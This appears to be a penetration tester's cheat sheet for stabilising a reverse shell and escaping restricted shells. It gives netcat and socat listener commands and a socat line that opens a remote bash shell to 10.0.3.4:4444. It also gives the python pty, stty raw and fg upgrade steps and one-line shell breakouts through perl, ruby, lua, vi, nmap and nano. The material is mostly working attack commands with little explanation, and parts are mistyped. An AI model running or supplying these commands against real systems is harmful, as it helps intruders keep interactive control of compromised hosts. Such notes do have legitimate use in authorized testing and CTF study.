run the payload
nc -nvlp 3333 /after getting the shell
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl+Z /background the process
echo $TERM /examine the terminal & Copy the output
stty -a /get number of rows & columns;copy it
/The information needed is the TERM type ("xterm-256color") and the size of the current TTY ("rows 38; columns 116")
stty raw -echo
/With the shell still backgrounded, now set the current STTY to type raw and tell it to echo the input characters with the following command
/you wont see any thing just type the next command
fg /foreground the nc shell
reset /reinitialize the terminal with reset.
/Type the Following commands in NC shell
export SHELL=bash
export TERM=xterm256-color
stty rows 38 columns 116
now enjoy auto complete,history,job control
BYPASS RESTRICTED SHELL BY SHELLcartaraz
Using Python for a psuedo terminal
python -c 'import pty; pty.spawn("/bin/bash")'
Using socat
socat file:`tty`,raw,echo=0 tcp-listen:4444
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
Using stty options
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
$ stty raw -echo
$ fg
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
(From within IRB)
exec "/bin/sh"
(From within vi)
:!bash
(From within vi)
:set shell=/bin/bash:shell
(From within nmap)
!sh
sudo /etc/nano filename
^R^X
reset; sh 1>&0 2>&0
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